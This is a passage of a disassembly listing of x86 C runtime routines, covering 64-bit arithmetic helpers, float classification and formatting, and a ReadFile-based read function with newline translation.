[ebp+var_1C], edx jmp short loc_44D063 ; --------------------------------------------------------------------------- loc_44D05C: ; CODE XREF: sub_44CE61+1F0j movzx edx, [ebp+arg_4] mov [ebp+var_1C], edx loc_44D063: ; CODE XREF: sub_44CE61+1F9j mov edx, [ebp+var_1C] mov ecx, [ebp+arg_0] mov [ecx+eax], dl test dl, dl jnz short loc_44D077 mov [ebp+var_10], 1 loc_44D077: ; CODE XREF: sub_44CE61+20Dj mov [ebp+var_C], 0 loc_44D07E: ; CODE XREF: sub_44CE61+1DFj test [ebp+var_12], 4000h jnz short loc_44D090 cmp [ebp+var_10], 0 jz loc_44CF93 loc_44D090: ; CODE XREF: sub_44CE61+223j mov edx, [ebp+arg_8] movzx eax, byte ptr [ebp+var_4+3] mov [edx+6], ax mov eax, [ebp+var_8] loc_44D09E: ; CODE XREF: sub_44CE61+36j ; sub_44CE61+E2j ... pop ebx mov esp, ebp pop ebp retn sub_44CE61 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44D0B1 proc near ; CODE XREF: sub_44BF81+CFp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_4] or eax, eax jnz short loc_44D0D2 mov ecx, [esp+4+arg_0] mov eax, [esp+4+arg_C] xor edx, edx div ecx mov eax, [esp+4+arg_8] div ecx mov eax, edx xor edx, edx jmp short loc_44D122 ; --------------------------------------------------------------------------- loc_44D0D2: ; CODE XREF: sub_44D0B1+7j mov ecx, eax mov ebx, [esp+4+arg_0] mov edx, [esp+4+arg_C] mov eax, [esp+4+arg_8] loc_44D0E0: ; CODE XREF: sub_44D0B1+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_44D0E0 div ebx mov ecx, eax mul [esp+4+arg_4] xchg eax, ecx mul [esp+4+arg_0] add edx, ecx jb short loc_44D10B cmp edx, [esp+4+arg_C] ja short loc_44D10B jb short loc_44D113 cmp eax, [esp+4+arg_8] jbe short loc_44D113 loc_44D10B: ; CODE XREF: sub_44D0B1+4Aj ; sub_44D0B1+50j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] loc_44D113: ; CODE XREF: sub_44D0B1+52j ; sub_44D0B1+58j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] neg edx neg eax sbb edx, 0 loc_44D122: ; CODE XREF: sub_44D0B1+1Fj pop ebx retn 10h sub_44D0B1 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44D131 proc near ; CODE XREF: sub_44BF81+116p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_44D152 inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_44D152: ; CODE XREF: sub_44D131+Bj mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_44D16E inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_44D16E: ; CODE XREF: sub_44D131+27j or eax, eax jnz short loc_44D18A mov ecx, [esp+0Ch+arg_0] mov eax, [esp+0Ch+arg_C] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_8] div ecx mov edx, ebx jmp short loc_44D1CB ; --------------------------------------------------------------------------- loc_44D18A: ; CODE XREF: sub_44D131+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_C] mov eax, [esp+0Ch+arg_8] loc_44D198: ; CODE XREF: sub_44D131+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_44D198 div ecx mov esi, eax mul [esp+0Ch+arg_4] mov ecx, eax mov eax, [esp+0Ch+arg_0] mul esi add edx, ecx jb short loc_44D1C6 cmp edx, [esp+0Ch+arg_C] ja short loc_44D1C6 jb short loc_44D1C7 cmp eax, [esp+0Ch+arg_8] jbe short loc_44D1C7 loc_44D1C6: ; CODE XREF: sub_44D131+85j ; sub_44D131+8Bj dec esi loc_44D1C7: ; CODE XREF: sub_44D131+8Dj ; sub_44D131+93j xor edx, edx mov eax, esi loc_44D1CB: ; CODE XREF: sub_44D131+57j dec edi jnz short loc_44D1D5 neg edx neg eax sbb edx, 0 loc_44D1D5: ; CODE XREF: sub_44D131+9Bj pop ebx pop esi pop edi retn 10h sub_44D131 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44D1E1 proc near ; CODE XREF: sub_44BF81+13Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, [esp+arg_4] or ecx, eax mov ecx, [esp+arg_0] jnz short loc_44D1FA mov eax, [esp+arg_8] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_44D1FA: ; CODE XREF: sub_44D1E1+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_8] mul [esp+4+arg_4] add ebx, eax mov eax, [esp+4+arg_8] mul ecx add edx, ebx pop ebx retn 10h sub_44D1E1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44D221 proc near ; CODE XREF: sub_44C1C1+5p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] movzx eax, word ptr [ecx+6] and eax, 7FF0h cmp eax, 7FF0h jnz short loc_44D264 test word ptr [ecx+6], 0Fh jnz short loc_44D251 cmp word ptr [ecx+4], 0 jnz short loc_44D251 cmp word ptr [ecx+2], 0 jnz short loc_44D251 cmp word ptr [ecx], 0 jz short loc_44D258 loc_44D251: ; CODE XREF: sub_44D221+1Aj ; sub_44D221+21j ... mov edx, 2 jmp short loc_44D25D ; --------------------------------------------------------------------------- loc_44D258: ; CODE XREF: sub_44D221+2Ej mov edx, 1 loc_44D25D: ; CODE XREF: sub_44D221+35j mov ax, dx movsx eax, ax retn ; --------------------------------------------------------------------------- loc_44D264: ; CODE XREF: sub_44D221+12j movzx eax, word ptr [ecx+6] test eax, 0FFFF7FFFh jnz short loc_44D283 cmp word ptr [ecx+4], 0 jnz short loc_44D283 cmp word ptr [ecx+2], 0 jnz short loc_44D283 cmp word ptr [ecx], 0 jz short loc_44D287 loc_44D283: ; CODE XREF: sub_44D221+4Cj ; sub_44D221+53j ... or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_44D287: ; CODE XREF: sub_44D221+60j xor eax, eax retn sub_44D221 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44D291 proc near ; CODE XREF: sub_44C1D1+5Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_44DE71 add esp, 8 movsx eax, ax pop ebp retn sub_44D291 endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44D2B1 proc near ; CODE XREF: sub_44C1D1+200p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_44DF11 add esp, 8 movsx eax, ax pop ebp retn sub_44D2B1 endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44D2D1 proc near ; CODE XREF: sub_44C1D1+20Bp ; sub_44C1D1+498p var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 sub esp, 0Ch fstcw [esp+0Ch+var_2] mov ax, [esp+0Ch+var_2] or ah, 0Ch mov [esp+0Ch+var_4], ax fldcw [esp+0Ch+var_4] fistp [esp+0Ch+var_C] fldcw [esp+0Ch+var_2] mov eax, dword ptr [esp+0Ch+var_C] mov edx, dword ptr [esp+0Ch+var_C+4] add esp, 0Ch retn sub_44D2D1 endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44D301 proc near ; CODE XREF: sub_44C1D1+4D6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, ebx mov ecx, esi cdq idiv ecx mov [ebp+var_8], eax mov edx, esi imul edx, eax mov eax, ebx sub eax, edx mov [ebp+var_4], eax mov eax, [ebp+var_8] mov edx, [ebp+var_4] pop esi pop ebx mov esp, ebp pop ebp retn sub_44D301 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44D331 proc near ; CODE XREF: sub_44C1D1+64Cp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = byte ptr -12h var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h arg_10 = word ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx mov eax, off_4119D0 mov al, [eax] mov [ebp+var_1], al cmp [ebp+arg_C], 0 jg short loc_44D356 mov [ebp+arg_C], 1 mov [ebp+arg_8], offset dword_4101A0 loc_44D356: ; CODE XREF: sub_44D331+16j mov al, [ebp+arg_4] cmp al, 66h jz short loc_44D38A cmp al, 46h jz short loc_44D38A cmp al, 67h jz short loc_44D36D cmp al, 47h jnz loc_44D5D4 loc_44D36D: ; CODE XREF: sub_44D331+32j mov ax, [ebp+arg_10] cmp ax, 0FFFCh jl loc_44D5D4 movsx eax, ax mov edx, [ebp+arg_0] cmp eax, [edx+2Ch] jge loc_44D5D4 loc_44D38A: ; CODE XREF: sub_44D331+2Aj ; sub_44D331+2Ej add [ebp+arg_10], 1 mov al, [ebp+arg_4] cmp al, 67h jz short loc_44D39A cmp al, 47h jnz short loc_44D3D5 loc_44D39A: ; CODE XREF: sub_44D331+63j mov eax, [ebp+arg_0] test word ptr [eax+38h], 8 jnz short loc_44D3B8 movsx edx, [ebp+arg_C] cmp edx, [eax+2Ch] jge short loc_44D3B8 mov edx, [ebp+arg_0] movsx eax, [ebp+arg_C] mov [edx+2Ch], eax loc_44D3B8: ; CODE XREF: sub_44D331+72j ; sub_44D331+7Bj mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_10] sub edx, ecx mov [eax+2Ch], edx test edx, edx jge short loc_44D3D5 mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 0 loc_44D3D5: ; CODE XREF: sub_44D331+67j ; sub_44D331+98j cmp [ebp+arg_10], 0 jg loc_44D4A1 mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov byte ptr [eax+edx], 30h mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_44D407 test word ptr [eax+38h], 8 jz short loc_44D41F loc_44D407: ; CODE XREF: sub_44D331+CCj mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl loc_44D41F: ; CODE XREF: sub_44D331+D4j mov eax, [ebp+arg_0] movsx edx, [ebp+arg_10] neg edx cmp [eax+2Ch], edx jge short loc_44D439 mov eax, [ebp+arg_0] mov eax, [eax+2Ch] neg eax mov [ebp+arg_10], ax loc_44D439: ; CODE XREF: sub_44D331+FAj mov edx, [ebp+arg_0] movsx eax, [ebp+arg_10] neg eax mov [edx+20h], eax mov eax, [ebp+arg_0] movsx edx, [ebp+arg_10] mov ecx, [eax+2Ch] add edx, ecx mov [eax+2Ch], edx mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] cmp [eax+2Ch], edx jge short loc_44D46A mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+arg_C], ax loc_44D46A: ; CODE XREF: sub_44D331+12Dj movsx eax, [ebp+arg_C] mov edx, [ebp+arg_0] mov [edx+24h], eax push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_4485B1 add esp, 0Ch mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_C] sub edx, ecx mov [eax+28h], edx jmp loc_44D7C6 ; --------------------------------------------------------------------------- loc_44D4A1: ; CODE XREF: sub_44D331+A9j mov ax, [ebp+arg_10] cmp [ebp+arg_C], ax jge short loc_44D51B movsx eax, [ebp+arg_C] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_4485B1 add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov edx, [ebp+arg_0] movsx eax, [ebp+arg_10] movsx ecx, [ebp+arg_C] sub eax, ecx mov [edx+20h], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_44D4F8 test word ptr [eax+38h], 8 jz short loc_44D50D loc_44D4F8: ; CODE XREF: sub_44D331+1BDj mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl mov eax, [ebp+arg_0] inc dword ptr [eax+24h] loc_44D50D: ; CODE XREF: sub_44D331+1C5j mov eax, [ebp+arg_0] mov edx, [eax+2Ch] mov [eax+28h], edx jmp loc_44D7C6 ; --------------------------------------------------------------------------- loc_44D51B: ; CODE XREF: sub_44D331+178j movsx eax, [ebp+arg_10] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_4485B1 add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_10] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov ax, [ebp+arg_10] sub [ebp+arg_C], ax mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_44D560 test word ptr [eax+38h], 8 jz short loc_44D578 loc_44D560: ; CODE XREF: sub_44D331+225j mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl loc_44D578: ; CODE XREF: sub_44D331+22Dj mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] cmp [eax+2Ch], edx jge short loc_44D58E mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+arg_C], ax loc_44D58E: ; CODE XREF: sub_44D331+251j movsx eax, [ebp+arg_C] push eax movsx eax, [ebp+arg_10] mov edx, [ebp+arg_8] add eax, edx push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_4485B1 add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_C] sub edx, ecx mov [eax+20h], edx jmp loc_44D7C6 ; --------------------------------------------------------------------------- loc_44D5D4: ; CODE XREF: sub_44D331+36j ; sub_44D331+44j ... mov al, [ebp+arg_4] cmp al, 67h jz short loc_44D5DF cmp al, 47h jnz short loc_44D62A loc_44D5DF: ; CODE XREF: sub_44D331+2A8j mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] cmp edx, [eax+2Ch] jge short loc_44D5FD test word ptr [eax+38h], 8 jnz short loc_44D5FD mov edx, [ebp+arg_0] movsx eax, [ebp+arg_C] mov [edx+2Ch], eax loc_44D5FD: ; CODE XREF: sub_44D331+2B8j ; sub_44D331+2C0j mov eax, [ebp+arg_0] mov edx, [eax+2Ch] dec edx mov [eax+2Ch], edx test edx, edx jge short loc_44D615 mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 0 loc_44D615: ; CODE XREF: sub_44D331+2D8j xor eax, eax cmp [ebp+arg_4], 67h setnz al dec eax and eax, 20h add eax, 45h mov [ebp+arg_4], al jmp short loc_44D640 ; --------------------------------------------------------------------------- loc_44D62A: ; CODE XREF: sub_44D331+2ACj cmp [ebp+arg_4], 61h jnz short loc_44D636 mov [ebp+arg_4], 70h jmp short loc_44D640 ; --------------------------------------------------------------------------- loc_44D636: ; CODE XREF: sub_44D331+2FDj cmp [ebp+arg_4], 41h jnz short loc_44D640 mov [ebp+arg_4], 50h loc_44D640: ; CODE XREF: sub_44D331+2F7j ; sub_44D331+303j ... mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_8] lea ecx, [eax+1] mov [ebp+arg_8], ecx mov ecx, [ebp+arg_0] mov ecx, [ecx+10h] mov al, [eax] mov [ecx+edx], al mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_44D671 test word ptr [eax+38h], 8 jz short loc_44D689 loc_44D671: ; CODE XREF: sub_44D331+336j mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl loc_44D689: ; CODE XREF: sub_44D331+33Ej mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jle short loc_44D6EC mov ax, [ebp+arg_C] dec ax mov [ebp+arg_C], ax mov edx, [ebp+arg_0] movsx eax, ax cmp [edx+2Ch], eax jge short loc_44D6B1 mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+arg_C], ax loc_44D6B1: ; CODE XREF: sub_44D331+374j movsx eax, [ebp+arg_C] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_4485B1 add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_C] sub edx, ecx mov [eax+20h], edx loc_44D6EC: ; CODE XREF: sub_44D331+35Fj mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx mov [ebp+arg_8], eax lea edx, [eax+1] mov [ebp+arg_8], edx mov dl, [ebp+arg_4] mov [eax], dl cmp [ebp+arg_10], 0 jl short loc_44D71A mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 2Bh jmp short loc_44D72A ; --------------------------------------------------------------------------- loc_44D71A: ; CODE XREF: sub_44D331+3D9j mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 2Dh neg [ebp+arg_10] loc_44D72A: ; CODE XREF: sub_44D331+3E7j mov [ebp+var_8], 0 jmp short loc_44D75C ; --------------------------------------------------------------------------- loc_44D733: ; CODE XREF: sub_44D331+430j push 0Ah movsx eax, [ebp+arg_10] push eax call sub_44E131 add esp, 8 mov [ebp+var_1C], eax mov [ebp+var_18], edx mov eax, [ebp+var_8] mov edx, [ebp+var_18] mov [ebp+eax+var_12], dl mov eax, [ebp+var_1C] mov [ebp+arg_10], ax inc [ebp+var_8] loc_44D75C: ; CODE XREF: sub_44D331+400j cmp [ebp+arg_10], 0 jg short loc_44D733 cmp [ebp+var_8], 2 jge short loc_44D780 mov al, [ebp+arg_4] cmp al, 65h jz short loc_44D774 cmp al, 45h jnz short loc_44D780 loc_44D774: ; CODE XREF: sub_44D331+43Dj mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 30h loc_44D780: ; CODE XREF: sub_44D331+436j ; sub_44D331+441j cmp [ebp+var_8], 0 jnz short loc_44D7AD mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 30h jmp short loc_44D7AD ; --------------------------------------------------------------------------- loc_44D794: ; CODE XREF: sub_44D331+480j mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov edx, [ebp+var_8] dec edx mov [ebp+var_8], edx mov dl, [ebp+edx+var_12] add dl, 30h mov [eax], dl loc_44D7AD: ; CODE XREF: sub_44D331+453j ; sub_44D331+461j cmp [ebp+var_8], 0 jg short loc_44D794 mov eax, [ebp+arg_0] mov edx, [ebp+arg_8] mov ecx, [eax+1Ch] mov ebx, [eax+10h] add ecx, ebx sub edx, ecx mov [eax+24h], edx loc_44D7C6: ; CODE XREF: sub_44D331+16Bj ; sub_44D331+1E5j ... mov eax, [ebp+arg_0] movzx eax, word ptr [eax+38h] and eax, 14h cmp eax, 10h jnz short loc_44D809 mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [eax+1Ch] add edx, ecx mov ecx, [eax+20h] add edx, ecx mov ecx, [eax+24h] add edx, ecx mov eax, [eax+28h] add eax, edx mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax+34h] cmp [ebp+var_8], eax jge short loc_44D809 mov eax, [ebp+arg_0] mov edx, [eax+34h] sub edx, [ebp+var_8] mov [eax+18h], edx loc_44D809: ; CODE XREF: sub_44D331+4A2j ; sub_44D331+4CAj pop ebx mov esp, ebp pop ebp retn sub_44D331 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44D811 proc near ; CODE XREF: sub_44C861+348p ; DMN1:0044DB8Cp var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov ebx, [ebp+arg_0] xor edi, edi mov eax, [ebp+arg_4] mov [ebp+var_C], eax cmp [ebp+arg_8], 0 jz short loc_44D846 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 2 jz short loc_44D84D loc_44D846: ; CODE XREF: sub_44D811+18j xor eax, eax jmp loc_44DB36 ; --------------------------------------------------------------------------- loc_44D84D: ; CODE XREF: sub_44D811+33j mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] add eax, edx test byte ptr [eax+4], 48h jz short loc_44D8AF cmp byte ptr [eax+5], 0Ah jz short loc_44D8AF mov eax, [ebp+var_C] lea edx, [eax+1] mov [ebp+var_C], edx mov edx, ebx and edx, 1Fh imul edx, 24h mov ecx, ebx sar ecx, 5 mov ecx, dword_413988[ecx*4] mov dl, [ecx+edx+5] mov [eax], dl inc edi dec [ebp+arg_8] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov byte ptr [edx+eax+5], 0Ah loc_44D8AF: ; CODE XREF: sub_44D811+56j ; sub_44D811+5Cj push 0 lea eax, [ebp+var_4] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+var_C] push eax mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov eax, [edx+eax] push eax call dword_411E18 ; ReadFile test eax, eax jnz short loc_44D91F call dword_411CE8 ; RtlGetLastWin32Error mov [ebp+var_10], eax cmp eax, 5 jnz short loc_44D900 call sub_449321 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_44DB36 ; --------------------------------------------------------------------------- loc_44D900: ; CODE XREF: sub_44D811+DAj cmp [ebp+var_10], 6Dh jnz short loc_44D90D xor eax, eax jmp loc_44DB36 ; --------------------------------------------------------------------------- loc_44D90D: ; CODE XREF: sub_44D811+F3j mov eax, [ebp+var_10] push eax call sub_4491C1 pop ecx or eax, 0FFFFFFFFh jmp loc_44DB36 ; --------------------------------------------------------------------------- loc_44D91F: ; CODE XREF: sub_44D811+CCj mov eax, [ebp+var_4] add edi, eax mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 80h jz loc_44DB34 cmp [ebp+var_4], 0 jz short loc_44D96E mov eax, [ebp+arg_4] cmp byte ptr [eax], 0Ah jnz short loc_44D96E mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 4 jmp short loc_44D989 ; --------------------------------------------------------------------------- loc_44D96E: ; CODE XREF: sub_44D811+136j ; sub_44D811+13Ej mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] and byte ptr [eax], 0FBh loc_44D989: ; CODE XREF: sub_44D811+15Bj mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov esi, eax jmp loc_44DB1D ; --------------------------------------------------------------------------- loc_44D996: ; CODE XREF: sub_44D811+313j cmp byte ptr [esi], 1Ah jnz short loc_44D9DA mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 40h jnz loc_44DB2A mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 2 jmp loc_44DB2A ; --------------------------------------------------------------------------- loc_44D9DA: ; CODE XREF: sub_44D811+188j cmp byte ptr [esi], 0Dh jz short loc_44D9F4 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov edx, esi inc esi mov dl, [edx] mov [eax], dl jmp loc_44DB1D ; --------------------------------------------------------------------------- loc_44D9F4: ; CODE XREF: sub_44D811+1CCj mov eax, [ebp+arg_4] lea eax, [eax+edi-1] cmp esi, eax jnb short loc_44DA2E cmp byte ptr [esi+1], 0Ah jnz short loc_44DA19 add esi, 2 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Ah jmp loc_44DB1D ; --------------------------------------------------------------------------- loc_44DA19: ; CODE XREF: sub_44D811+1F2j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov edx, esi inc esi mov dl, [edx] mov [eax], dl jmp loc_44DB1D ; --------------------------------------------------------------------------- loc_44DA2E: ; CODE XREF: sub_44D811+1ECj inc esi mov [ebp+var_10], 0 push 0 lea eax, [ebp+var_4] push eax push 1 lea eax, [ebp+var_11] push eax mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov eax, [edx+eax] push eax call dword_411E18 ; ReadFile test eax, eax jnz short loc_44DA6D call dword_411CE8 ; RtlGetLastWin32Error mov [ebp+var_10], eax loc_44DA6D: ; CODE XREF: sub_44D811+251j cmp [ebp+var_10], 0 jnz short loc_44DA79 cmp [ebp+var_4], 0 jnz short loc_44DA8A loc_44DA79: ; CODE XREF: sub_44D811+260j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Dh jmp loc_44DB1D ; --------------------------------------------------------------------------- loc_44DA8A: ; CODE XREF: sub_44D811+266j mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 48h jz short loc_44DAE2 cmp [ebp+var_11], 0Ah jnz short loc_44DAB9 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Ah jmp short loc_44DB1D ; --------------------------------------------------------------------------- loc_44DAB9: ; CODE XREF: sub_44D811+298j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Dh mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov cl, [ebp+var_11] mov [edx+eax+5], cl jmp short loc_44DB1D ; --------------------------------------------------------------------------- loc_44DAE2: ; CODE XREF: sub_44D811+292j mov eax, [ebp+arg_4] cmp eax, [ebp+var_8] jnz short loc_44DAFE cmp [ebp+var_11], 0Ah jnz short loc_44DAFE mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Ah jmp short loc_44DB1D ; --------------------------------------------------------------------------- loc_44DAFE: ; CODE XREF: sub_44D811+2D7j ; sub_44D811+2DDj push 1 push 0FFFFFFFFh push ebx call sub_44CD71 add esp, 0Ch cmp [ebp+var_11], 0Ah jz short loc_44DB1D mov eax, [ebp+var_8] lea edx, [eax+1] 